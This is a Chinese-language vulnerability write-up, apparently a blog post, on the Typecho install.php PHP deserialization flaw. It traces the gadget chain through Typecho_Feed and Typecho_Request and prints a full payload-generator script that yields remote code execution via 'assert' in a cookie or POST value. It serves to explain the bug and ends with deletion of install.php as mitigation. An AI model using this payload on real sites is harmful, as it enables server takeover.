Typecho

Typecho是一款快速建博客的程序,外观简洁,应用广泛。这次的漏洞通过install.php安装程序页面的反序列化函数,造成了命令执行,Typecho 1.1(15.5.12)之前的版本都有受到不同的影响。

从install.php开始,在229行开始存在unserialize反序列化的地方。

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

想要执行到这个反序列化的操作我们必须要满足以下条件:

1、$_GET['finish'] 参数不为空

2、Referer 必须是本站

分别如下: 其实注释内容已经跟我们说了,具体就不用在分析了。

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
} $parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
} if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

条件二:<?php if (isset($_GET['finish'])) : ?> 在这里要能够接收到finish参数,这样才能进入到我们序列化的地方。

在最上端的代码当中__typecho_config是我们可控的,他是cookie的键名,230行将cookie中这个键名的值通过base64解码之后反序列化。

继续两段:

$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);

因为整个$config的变量我们都能够控制,所以adapter,prefix这两个变量我们也能够控制。

跟进Typecho_Db()方法:(他在Db.php下)

 public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName; /** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
} $this->_prefix = $prefix; /** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array(); //实例化适配器对象
$this->_adapter = new $adapterName();
}

$adapterName='Typecho_Db_Adapter'.$adapterName

$config['adapter']作为第一个参数传入到Typecho_Db()中并且做了字符串拼接,可能上我们是能够调用__toString这个魔术方法的,就是当我们把$adapterName设置为有__tostring魔术方法的类的时候,那么这个tostring方法就被触发了。

ps:__toString():用于一个类被当成字符串时应怎样回应。。

接着查看哪些类使用了__toString()方法:

Config.php

Feed.php

Db/Query.php

我们想要能够产生输出传递给我们,Feed.php存在,可利用的点:

$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

__get()这个方法在读取不可访问的数据时触发,如果$item['author']有不能访问的属性,那么就会被触发,因为实际执行中这里会获取该类的screenName属性,如果我们给$item['author']设置的类中只要设置为那个类中没有的属性,随便吧编一个就会执行该类的__get()方法 ,目前到此处,我们是在__tostring这个板块下的,而此时我们是在Feed.php下的Typecho_Feed类当中。

我们找到了get魔术方法,他是在request.php当中的,Typecho_Request

public function __get($key)
{
return $this->get($key);
}

继续跟进,因为他是调用了get这个函数在这个魔术方法当中:

public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
} $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

再次跟进:

private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
} $this->_filter = array();
} return $value;
}

可以看见array_map()和call_user_func()两个回调函数,这说明了_params[$key]的值传入_applyFilter()方法,代码此时是可执行的,能偶产生输出了。

生成脚本,这是网上找的:

<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items; public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
} class Typecho_Request
{
private $_params = array();
private $_filter = array(); public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
} $exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
); echo base64_encode(serialize($exp));

因为Typecho_Cookie的get方法获取__typecho_config可以是cookie方式,也可以使post方式,所以我们的payload直接为post发送也可以。

参考链接:https://www.freebuf.com/vuls/152058.html

魔术方法不一定有用,但没有魔术方法一定没用,我们唯一的突破点就在于魔术方法,看看程序员是怎么编写这段魔术代码的,然后找寻突破点,删除install是个好习惯哦。

哦。

Typecho反序列化漏洞的更多相关文章

  1. Typecho 反序列化漏洞 分析及复现

    0x00 漏洞简介 CVE-2018-18753 漏洞概述: typecho 是一款非常简洁快速博客 CMS,前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任 ...

  2. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  3. PHP审计之PHP反序列化漏洞

    PHP审计之PHP反序列化漏洞 前言 一直不懂,PHP反序列化感觉上比Java的反序列化难上不少.但归根结底还是serialize和unserialize中的一些问题. 在此不做多的介绍. 魔术方法 ...

  4. 反序列化漏洞问题研究之php篇

    php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...

  5. Weblogic反序列化漏洞补丁更新解决方案

    Weblogic反序列化漏洞的解决方案基于网上给的方案有两种: 第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉 ...

  6. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  9. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

随机推荐

  1. 牛客网PAT练习场-到底买不买

    题目地址:https://www.nowcoder.com/pat/6/problem/4065 题意:用数组统计好字符,最后进行相减,最后进行统计 /** * *作者:Ycute *时间:2019- ...

  2. Java数据结构——二叉搜索树

    定义二叉查找树(Binary Search Tree),(又:二叉搜索树,二叉排序树)它或者是一棵空树,或者是具有下列性质的二叉树: 若它的左子树不空,则左子树上所有结点的值均小于它的根结点的值: 若 ...

  3. Java多线程_生产者消费者模式2

    在我的上一条博客中,已经介绍到了多线程的经典案列——生产者消费者模式,但是在上篇中用的是传统的麻烦的非阻塞队列实现的.在这篇博客中我将介绍另一种方式就是:用阻塞队列完成生产者消费者模式,可以使用多种阻 ...

  4. new操作符创建对象的四个步骤

    new操作符创建对象可以分为以下四个步骤: 创建一个空对象 将所创建对象的__proto__属性值设为构造函数的prototype的属性值 执行构造函数中的代码,构造函数中的this指向该对象 返回对 ...

  5. 网站seo整站优化有什么优势

    http://www.wocaoseo.com/thread-314-1-1.html       现在很多企业找网络公司做网站优化,已经不再像以前那样做目标关键词,而是通过整站优化来达到企业营销目的 ...

  6. 力扣Leetcode 21. 合并两个有序链表

    合并两个有序链表 将两个升序链表合并为一个新的升序链表并返回.新链表是通过拼接给定的两个链表的所有节点组成的. 示例: 输入:1->2->4, 1->3->4 输出:1-> ...

  7. ssm简单整合

    pom.xml: <?xml version="1.0" encoding="UTF-8"?> <project xmlns="ht ...

  8. 一文教你读懂JVM类加载机制

    Java运行程序又被称为WORA(Write Once Run Anywhere,在任何地方运行只需写入一次),意味着我们程序员小哥哥可以在任何一个系统上开发Java程序,但是却可以在所有系统上畅通运 ...

  9. Cacti1.2.14最新版安装和配置(详细版)

    Cacti的起源与发展现状 故事要从2001年的某一天说起.一个叫Ian Berry的中学生还在学习如何使用PHP和MySQL进行编程及功能的实现,那时候他业余时间为一个名不见经传的互联网运营商开发项 ...

  10. 泊松分布算法的应用:开一家4S店

    王老板开了一家4S店,卖新车为主,车型也很单一,可是每个月销量都变化很大,他很头疼,该怎么备货,头疼的是: 1)备货少了,可以来了没货可能就不买,去别的店了 2)备货多了,占用库存不说,长久卖不出去就 ...